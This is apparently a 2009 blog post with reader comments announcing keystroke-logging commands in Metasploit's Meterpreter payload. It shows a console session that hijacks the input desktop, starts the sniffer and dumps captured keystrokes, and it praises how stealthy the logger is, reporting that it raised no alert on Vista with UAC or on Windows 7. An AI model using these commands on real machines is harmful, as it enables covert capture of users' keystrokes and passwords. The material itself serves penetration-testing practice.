Keystroke Logging comes to Meterpreter
Sunday, March 22, 2009 at 9:58PM Today HD committed to the development tree of SVN bug fixes and updates to Meterpreter, among them the coolest of them all has to be the availability of keystroke logging. Now when you use Meterpreter as a payload you will get in the stdapi the ability to start Keystroke Login by running a simple set of commands. The new commands appear as follows:
Stdapi: User interface Commands===============================Command Description------- -----------grabdesktop Take over the active input desktop (needed for keyboard sniffing)idletime Returns the number of seconds the remote user has been idlekeyscan_dump Dump they keystroke bufferkeyscan_start Start capturing keystrokeskeyscan_stop Stop capturing keystrokesuictl Control some of the user interface components
The new commands are grabdesktop, keyscan_dump, keyscan_start and keyscan_stop. To start the capture of keystrokes we must firs run grabdesktop and then keyscan_start, this will start the capture of all keyboard input into memory.
meterpreter > grabdesktopTrying to hijack the input desktop...meterpreter > keyscan_startStarting the keystroke sniffer...
To dump the content of the buffer we run keyscan_dump, for this example I capture some text I typed into notepad:
meterpreter > keyscan_dumpDumping captured keystrokes...<Back> epnow this a <Back> s a killer feature!!!!!!!! <Return>meterpreter > keyscan_dumpDumping captured keystrokes...meterpreter >
Once the keystrokes are dumped they are cleared from the buffer, so save the output every time you do a dump since it will be lost. This new feature will only capture keyboard input, it will not capture clipboard content or any copy/paste activity, but it is extremely stealthy since it will only reside in memory and in my test machines with Vista with UAC enabled and on Windows 7 it did not trigger any alert. I’m anxiously looking forward on what will come next from the Metasploit team.
UPDATE 3/26/09
HD is making some changes in the code and on the names in the menu, as soon as I have a change to test and run in lab I will post an update to the post.
Reader Comments (3)
No problem, I love the project!! in fact those blog posts gave me the ideas for the Meterpreter script I recently posted, as my feed had updated I kept re-writing and improving the script.
nice work. found it after hdm posted on the metasploit blog.
Excellent work!!
I will probably blog something similar to what the metasploit blog guys did...but in spanish :)
Keep the good work!